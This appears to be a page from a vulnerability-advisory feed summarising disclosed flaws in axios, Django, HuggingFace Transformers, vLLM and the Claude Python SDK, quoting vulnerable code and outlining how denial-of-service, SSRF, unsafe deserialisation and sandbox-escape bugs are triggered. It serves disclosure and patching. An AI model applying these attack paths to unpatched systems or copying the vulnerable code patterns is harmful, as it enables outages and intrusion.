Summary Axios HTTP/2 session cleanup logic contains a state corruption bug that allows a malicious server to crash the client process through concurrent session closures. This denial-of-service vulnerability affects axios versions prior to 1.13.2 when HTTP/2 is enabled. Details The vulnerability exists in the Http2Sessions.getSession() method in lib/adapters/http.js. The session cleanup logic contains a control flow error when removing sessions from the sessions array. Vulnerable Code: ``javascript while (i--) { if (entries[i][0] === session) { entries.splice(i, 1); if (len === 1) { delete this.sessions[authority]; return; } } } ` Root Cause: After calling entries.splice(i, 1) to remove a session, the original code only returned early if len === 1. For arrays with multiple entries, the iteration continued after modifying the array, causing undefined behavior and potential crashes when accessing shifted array indices. Fixed Code: `javascript while (i--) { if (entries[i][0] === session) { if (len === 1) { delete this.sessions[authority]; } else { entries.splice(i, 1); } return; } } ` The fix restructures the control flow to immediately return after removing a session, regardless of whether the array is being emptied or just having one element removed. This prevents continued iteration over a modified array and eliminates the state corruption vulnerability. Affected Component: lib/adapters/http.js` - Http2Sessions class, session cleanup in connection close handler PoC 1. Set up a malicious HTTP/2 server that accepts multiple concurrent connections from an axios client 2. Establish multiple concurrent HTTP/2 sessions with the axios client 3. Close all sessions simultaneously with precise timing 4. The flawed cleanup logic attempts to iterate over and modify the sessions array concurrently 5. This causes the client to access invalid memory locations, resulting in a process crash Prerequisites: Client must use axios with HTTP/2 enabled Client must connect to attacker-controlled HTTP/2 server Multiple concurrent HTTP/2 sessions must be established Server must close all sessions simultaneously with precise timing Impact Who is impacted: Applications using axios with HTTP/2 enabled Applications connecting to untrusted or attacker-controlled HTTP/2 servers Node.js applications using axios for HTTP/2 requests Impact Details: Denial of Service: Malicious server can crash the axios client process by accepting and closing multiple concurrent HTTP/2 connections simultaneously Availability Impact: Complete loss of availability for the client process through crash (though service may auto-restart) Scope: Impact is limited to the single client process making the requests; does not escape to affect other components or systems No Confidentiality or Integrity Impact: Vulnerability only causes process crash, no information disclosure or data modification CVSS Score: 5.9 (Medium) CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H CWE Classifications: CWE-400: Uncontrolled Resource Consumption CWE-662: Improper Synchronization

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Django has potential DoS via MultiPartParser through crafted multipart uploads

An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. MultiPartParser allows remote attackers to degrade performance by submitting multipart uploads with Content-Transfer-Encoding: base64 including excessive whitespace. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Seokchan Yoon for reporting this issue.

2 rules

HuggingFace Transformers allows for arbitrary code execution in the `Trainer` class

A vulnerability in the HuggingFace Transformers library, specifically in the Trainer class, allows for arbitrary code execution. The _load_rng_state() method in src/transformers/trainer.py at line 3059 calls torch.load() without the weights_only=True parameter. This issue affects all versions of the library supporting torch>=2.2 when used with PyTorch versions below 2.6, as the safe_globals() context manager provides no protection in these versions. An attacker can exploit this vulnerability by supplying a malicious checkpoint file, such as rng_state.pth, which can execute arbitrary code when loaded. The issue is resolved in version v5.0.0rc3.

OWASP A08LLM05 · Supply ChainOWASP LLM
Get guardrail →

vLLM: Denial of Service via Unbounded Frame Count in video/jpeg Base64 Processing

Summary The VideoMediaIO.load_base64() method at vllm/multimodal/media/video.py:51-62 splits video/jpeg data URLs by comma to extract individual JPEG frames, but does not enforce a frame count limit. The num_frames parameter (default: 32), which is enforced by the load_bytes() code path at line 47-48, is completely bypassed in the video/jpeg base64 path. An attacker can send a single API request containing thousands of comma-separated base64-encoded JPEG frames, causing the server to decode all frames into memory and crash with OOM. Details Vulnerable code ``python video.py:51-62 def load_base64(self, media_type: str, data: str) -> tuple[npt.NDArray, dict[str, Any]]: if media_type.lower() == "video/jpeg": load_frame = partial(self.image_io.load_base64, "image/jpeg") return np.stack( [np.asarray(load_frame(frame_data)) for frame_data in data.split(",")] # ^^^^^^^^^^ # Unbounded split — no frame count limit ), {} return self.load_bytes(base64.b64decode(data)) ` The load_bytes() path (line 47-48) properly delegates to a video loader that respects self.num_frames (default 32). The load_base64("video/jpeg", ...) path bypasses this limit entirely — data.split(",") produces an unbounded list and every frame is decoded into a numpy array. video/jpeg is part of vLLM's public API video/jpeg is a vLLM-specific MIME type, not IANA-registered. However it is part of the public API surface: encode_video_url() at vllm/multimodal/utils.py:96-108 generates data:video/jpeg;base64,... URLs Official test suites at tests/entrypoints/openai/test_video.py:62 and tests/entrypoints/test_chat_utils.py:153 both use this format Memory amplification Each JPEG frame decodes to a full numpy array. For 640x480 RGB images, each frame is ~921 KB decoded. 5000 frames = ~4.6 GB. np.stack() then creates an additional copy. The compressed JPEG payload is small (~100 KB for 5000 frames) but decompresses to gigabytes. Data flow ` POST /v1/chat/completions → chat_utils.py:1434 video_url type → mm_parser.parse_video() → chat_utils.py:872 parse_video() → self._connector.fetch_video() → connector.py:295 fetch_video() → load_from_url(url, self.video_io) → connector.py:91 _load_data_url(): url_spec.path.split(",", 1) → media_type = "video/jpeg" → data = "<frame1>,<frame2>,...,<frame10000>" → connector.py:100 media_io.load_base64("video/jpeg", data) → video.py:54 data.split(",") ← UNBOUNDED → video.py:55-57 all frames decoded into numpy arrays → video.py:56 np.stack([...]) ← massive combined array → OOM ` connector.py:91 uses split(",", 1) which splits on only the first comma. All remaining commas stay in data and are later split by video.py:54. Comparison with existing protections | Code Path | Frame Limit | File | |-----------|-------------|------| | load_bytes() (binary video) | Yes — num_frames (default 32) | video.py:46-49 | | load_base64("video/jpeg", ...) | No — unlimited data.split(",")` | video.py:51-62 |

vLLM: Server-Side Request Forgery (SSRF) in `download_bytes_from_url `

Summary A Server Side Request Forgery (SSRF) vulnerability in download_bytes_from_url allows any actor who can control batch input JSON to make the vLLM batch runner issue arbitrary HTTP/HTTPS requests from the server, without any URL validation or domain restrictions. This can be used to target internal services (e.g. cloud metadata endpoints or internal HTTP APIs) reachable from the vLLM host. ------ Details Vulnerable component The vulnerable logic is in the batch runner entrypoint vllm/entrypoints/openai/run_batch.py, function download_bytes_from_url: `` run_batch.py Lines 442-482 async def download_bytes_from_url(url: str) -> bytes: """ Download data from a URL or decode from a data URL. Args: url: Either an HTTP/HTTPS URL or a data URL (data:...;base64,...) Returns: Data as bytes """ parsed = urlparse(url) # Handle data URLs (base64 encoded) if parsed.scheme == "data": # Format: data:...;base64,<base64_data> if "," in url: header, data = url.split(",", 1) if "base64" in header: return base64.b64decode(data) else: raise ValueError(f"Unsupported data URL encoding: {header}") else: raise ValueError(f"Invalid data URL format: {url}") # Handle HTTP/HTTPS URLs elif parsed.scheme in ("http", "https"): async with ( aiohttp.ClientSession() as session, session.get(url) as resp, ): if resp.status != 200: raise Exception( f"Failed to download data from URL: {url}. Status: {resp.status}" ) return await resp.read() else: raise ValueError( f"Unsupported URL scheme: {parsed.scheme}. " "Supported schemes: http, https, data" ) ` Key properties: The function only parses the URL to dispatch on the scheme (data, http, https). For http / https, it directly calls session.get(url) on the provided string. There is no validation of: hostname or IP address, whether the target is internal or external, port number, path, query, or redirect target. This is in contrast to the multimodal media path (MediaConnector), which implements an explicit domain allowlist. download_bytes_from_url does not reuse that protection. URL controllability The url argument is fully controlled by batch input JSON via the file_url field of BatchTranscriptionRequest / BatchTranslationRequest. 1. Batch request body type: ` run_batch.py Line 67-80 class BatchTranscriptionRequest(TranscriptionRequest): """ Batch transcription request that uses file_url instead of file. This class extends TranscriptionRequest but replaces the file field with file_url to support batch processing from audio files written in JSON format. """ file_url: str = Field( ..., description=( "Either a URL of the audio or a data URL with base64 encoded audio data. " ), ) ` ` run_batch.py Line 98-111 class BatchTranslationRequest(TranslationRequest): """ Batch translation request that uses file_url instead of file. This class extends TranslationRequest but replaces the file field with file_url to support batch processing from audio files written in JSON format. """ file_url: str = Field( ..., description=( "Either a URL of the audio or a data URL with base64 encoded audio data. " ), ) ` There is no restriction on the domain, IP, or port of file_url in these models. 1. Batch input is parsed directly from the batch file: ` run_batch.py Line 139-179 class BatchRequestInput(OpenAIBaseModel): ... url: str body: BatchRequestInputBody @field_validator("body", mode="plain") @classmethod def check_type_for_url(cls, value: Any, info: ValidationInfo): url: str = info.data["url"] ... if url == "/v1/audio/transcriptions": return BatchTranscriptionRequest.model_validate(value) if url == "/v1/audio/translations": return BatchTranslationRequest.model_validate(value) ` ` run_batch.py Line 770-781 logger.info("Reading batch from %s...", args.input_file) # Submit all requests in the file to the engine "concurrently". response_futures: list[Awaitable[BatchRequestOutput]] = [] for request_json in (await read_file(args.input_file)).strip().split("\n"): # Skip empty lines. request_json = request_json.strip() if not request_json: continue request = BatchRequestInput.model_validate_json(request_json) ` The batch runner reads each line of the input file (args.input_file), parses it as JSON, and constructs a BatchTranscriptionRequest / BatchTranslationRequest. Whatever file_url appears in that JSON line becomes batch_request_body.file_url. 1. file_url is passed directly into download_bytes_from_url: ` run_batch.py Line 610-623 def wrapper(handler_fn: Callable): async def transcription_wrapper( batch_request_body: (BatchTranscriptionRequest | BatchTranslationRequest), ) -> ( TranscriptionResponse | TranscriptionResponseVerbose | TranslationResponse | TranslationResponseVerbose | ErrorResponse ): try: # Download data from URL audio_data = await download_bytes_from_url(batch_request_body.file_url) ` So the data flow is: 1. Attacker supplies JSON line in the batch input file with arbitrary body.file_url. 2. BatchRequestInput / BatchTranscriptionRequest / BatchTranslationRequest parse that JSON and store file_url verbatim. 3. make_transcription_wrapper calls download_bytes_from_url(batch_request_body.file_url). 4. download_bytes_from_url’s HTTP/HTTPS branch issues aiohttp.ClientSession().get(url) to that attacker-controlled URL with no further validation. This is a classic SSRF pattern: a server-side component makes arbitrary HTTP requests to a URL string taken from untrusted input. Comparison with safer code The project already contains a safer URL-handling path for multimodal media in vllm/multimodal/media/connector.py, which demonstrates the intent to mitigate SSRF via domain allowlists and URL normalization: ` connector.py Lines 169-189 def load_from_url( self, url: str, media_io: MediaIO[_M], *, fetch_timeout: int | None = None, ) -> _M: # type: ignore[type-var] url_spec = parse_url(url) if url_spec.scheme and url_spec.scheme.startswith("http"): self._assert_url_in_allowed_media_domains(url_spec) connection = self.connection data = connection.get_bytes( url_spec.url, timeout=fetch_timeout, allow_redirects=envs.VLLM_MEDIA_URL_ALLOW_REDIRECTS, ) return media_io.load_bytes(data) ` and: ` connector.py Lines 158-167 def _assert_url_in_allowed_media_domains(self, url_spec: Url) -> None: if ( self.allowed_media_domains and url_spec.hostname not in self.allowed_media_domains ): raise ValueError( f"The URL must be from one of the allowed domains: " f"{self.allowed_media_domains}. Input URL domain: " f"{url_spec.hostname}" ) ` download_bytes_from_url` does not reuse this allowlist or any equivalent validation, even though it also fetches user-provided URLs.

OWASP A10LLM02 · Insecure OutputOWASP LLM
Get guardrail →

vLLM: Unauthenticated OOM Denial of Service via Unbounded `n` Parameter in OpenAI API Server

Summary A Denial of Service vulnerability exists in the vLLM OpenAI-compatible API server. Due to the lack of an upper bound validation on the n parameter in the ChatCompletionRequest and CompletionRequest Pydantic models, an unauthenticated attacker can send a single HTTP request with an astronomically large n value. This completely blocks the Python asyncio event loop and causes immediate Out-Of-Memory crashes by allocating millions of request object copies in the heap before the request even reaches the scheduling queue. Details The root cause of this vulnerability lies in the missing upper bound checks across the request parsing and asynchronous scheduling layers: 1. Protocol Layer: In vllm/entrypoints/openai/chat_completion/protocol.py, the n parameter is defined simply as an integer without any pydantic.Field constraints for an upper bound. ``python class ChatCompletionRequest(OpenAIBaseModel): # Ordered by official OpenAI API documentation # https://platform.openai.com/docs/api/reference/chat/create messages: list[ChatCompletionMessageParam] model: str | None = None frequency_penalty: float | None = 0.0 logit_bias: dict[str, float] | None = None logprobs: bool | None = False top_logprobs: int | None = 0 max_tokens: int | None = Field( default=None, deprecated="max_tokens is deprecated in favor of " "the max_completion_tokens field", ) max_completion_tokens: int | None = None n: int | None = 1 presence_penalty: float | None = 0.0 ` 1. SamplingParams Layer (Incomplete Validation): When the API request is converted to internal SamplingParams in vllm/sampling_params.py, the _verify_args method only checks the lower bound (self.n < 1), entirely omitting an upper bounds check. `python def _verify_args(self) -> None: if not isinstance(self.n, int): raise ValueError(f"n must be an int, but is of type {type(self.n)}") if self.n < 1: raise ValueError(f"n must be at least 1, got {self.n}.") ` 1. Engine Layer (The OOM Trigger): When the malicious request reaches the core engine (vllm/v1/engine/async_llm.py), the engine attempts to fan out the request n times to generate identical independent sequences within a synchronous loop. `python # Fan out child requests (for n>1). parent_request = ParentRequest(request) for idx in range(parent_params.n): request_id, child_params = parent_request.get_child_info(idx) child_request = request if idx == parent_params.n - 1 else copy(request) child_request.request_id = request_id child_request.sampling_params = child_params await self._add_request( child_request, prompt_text, parent_request, idx, queue ) return queue ` Because Python's asyncio runs on a single thread and event loop, this monolithic for-loop monopolizes the CPU thread. The server stops responding to all other connections (including liveness probes). Simultaneously, the memory allocator is overwhelmed by cloning millions of request object instances via copy(request), driving the host's Resident Set Size (RSS) up by gigabytes per second until the OS OOM-killer terminates the vLLM process. Impact Vulnerability Type: Resource Exhaustion / Denial of Service Impacted Parties: Any individual or organization hosting a public-facing vLLM API server (vllm.entrypoints.openai.api_server`), which happens to be the primary entrypoint for OpenAI-compatible setups. SaaS / AI-as-a-Service platforms acting as reverse proxies sitting in front of vLLM without strict HTTP body payload validation or rate limitations. Because this vulnerability exploits the control plane rather than the data plane, an unauthenticated remote attacker can achieve a high success rate in taking down production inference hosts with a single HTTP request. This effectively circumvents any hardware-level capacity planning and conventional bandwidth stress limitations.

Claude SDK for Python: Memory Tool Path Validation Race Condition Allows Sandbox Escape

The async local filesystem memory tool in the Anthropic Python SDK validated that model-supplied paths resolved inside the sandboxed memory directory, but then returned the unresolved path for subsequent file operations. A local attacker able to write to the memory directory could retarget a symlink between validation and use, causing reads or writes to escape the sandbox. The synchronous memory tool implementation was not affected. Users on the affected versions are advised to update to the latest version. Claude SDK for Python thanks hackerone.com/kasthelord for reporting this issue!

OWASP A01OWASP LLM
Get guardrail →

Claude SDK for Python has Insecure Default File Permissions in Local Filesystem Memory Tool

The local filesystem memory tool in the Anthropic Python SDK created memory files with mode 0o666, leaving them world-readable on systems with a standard umask and world-writable in environments with a permissive umask such as many Docker base images. A local attacker on a shared host could read persisted agent state, and in containerized deployments could modify memory files to influence subsequent model behavior. Both the synchronous and asynchronous memory tool implementations were affected. Users on the affected versions are advised to update to the latest version. Claude SDK for Python thanks lucasfutures on HackerOne for the report.

OWASP A05OWASP LLM
Get guardrail →

Showing 61–80 of 227 threats